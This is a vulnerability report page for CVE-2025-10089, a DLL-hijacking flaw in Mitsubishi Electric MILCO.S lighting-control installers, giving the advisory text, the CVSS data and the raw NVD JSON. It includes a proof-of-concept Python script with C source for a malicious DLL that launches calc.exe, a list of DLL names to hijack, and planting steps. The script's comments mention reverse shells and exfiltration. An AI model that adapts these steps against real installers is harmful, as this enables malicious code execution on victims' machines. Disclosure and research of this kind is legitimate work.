Security Vulnerability Report
中文
CVE-2025-10089 CVSS 7.7 HIGH

CVE-2025-10089

Published: 2025-11-18 08:15:49
Last Modified: 2026-04-15 00:35:42

Description

Uncontrolled Search Path Element Vulnerability in Setting and Operation Application for Lighting Control System MILCO.S Setting Application all versions, MILCO.S Setting Application (IR) all versions, MILCO.S Easy Setting Application (IR) all versions, and MILCO.S Easy Switch Application (IR) all versions allows a local attacker to execute malicious code by having installer to load a malicious DLL. However, if the signer name "Mitsubishi Electric Lighting" appears on the "Digital Signatures" tab of the properties for "MILCO.S Lighting Control.exe", the application is a fixed one. This vulnerability only affects when the installer is run, not after installation. If a user downloads directly from Mitsubishi Electric website and installs the affected product, there is no risk of malicious code being introduced.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MILCO.S Setting Application (所有版本)
MILCO.S Setting Application (IR) (所有版本)
MILCO.S Easy Setting Application (IR) (所有版本)
MILCO.S Easy Switch Application (IR) (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10089 DLL Hijacking PoC # Target: MILCO.S Setting Application Installer # Vulnerability: Uncontrolled Search Path Element (DLL Hijacking) import os import ctypes from ctypes import wintypes # Create malicious DLL source code dll_source = ''' #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Malicious code execution on DLL load WinExec("calc.exe", SW_SHOWNORMAL); // Example: Launch calculator // In real attack: reverse shell, data exfiltration, etc. MessageBox(NULL, "DLL Hijacking Successful - CVE-2025-10089", "PoC", MB_OK); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ''' # Common DLL names that may be hijacked target_dlls = [ "version.dll", "winhttp.dll", "secur32.dll", "iertutil.dll", "urlmon.dll", "imagehlp.dll" ] def create_malicious_dll(dll_name, output_path): """Generate malicious DLL file""" dll_path = os.path.join(output_path, dll_name) # In real PoC: compile DLL or use precompiled DLL print(f"[*] Creating malicious DLL: {dll_path}") # Simulated DLL creation return dll_path def setup_attack_environment(installer_path, dll_name): """Prepare attack environment by placing malicious DLL alongside installer""" installer_dir = os.path.dirname(installer_path) malicious_dll = os.path.join(installer_dir, dll_name) print(f"[*] Placing {dll_name} in: {installer_dir}") print(f"[*] When installer runs, it will load our malicious DLL") print(f"[*] Social engineering needed to get victim to run modified installer") return malicious_dll def check_if_vulnerable(): """Check if application is vulnerable by examining digital signature""" print("[*] Checking for 'Mitsubishi Electric Lighting' digital signature...") print("[*] If signed by 'Mitsubishi Electric Lighting' = PATCHED") print("[*] If not signed or different signer = VULNERABLE") if __name__ == "__main__": print("=== CVE-2025-10089 DLL Hijacking PoC ===") print("Target: MILCO.S Lighting Control Application Installers") print("Attack Vector: Local (installer execution)") print("Note: This is for educational purposes only") check_if_vulnerable()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10089", "sourceIdentifier": "[email protected]", "published": "2025-11-18T08:15:49.010", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled Search Path Element Vulnerability in Setting and Operation Application for Lighting Control System MILCO.S Setting Application all versions, MILCO.S Setting Application (IR) all versions, MILCO.S Easy Setting Application (IR) all versions, and MILCO.S Easy Switch Application (IR) all versions allows a local attacker to execute malicious code by having installer to load a malicious DLL. However, if the signer name \"Mitsubishi Electric Lighting\" appears on the \"Digital Signatures\" tab of the properties for \"MILCO.S Lighting Control.exe\", the application is a fixed one. This vulnerability only affects when the installer is run, not after installation. If a user downloads directly from Mitsubishi Electric website and installs the affected product, there is no risk of malicious code being introduced."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://jvn.jp/vu/JVNVU97181602/", "source": "[email protected]"}, {"url": "https://www.mitsubishielectric.com/psirt/vulnerability/pdf/2025-015_en.pdf", "source": "[email protected]"}]}}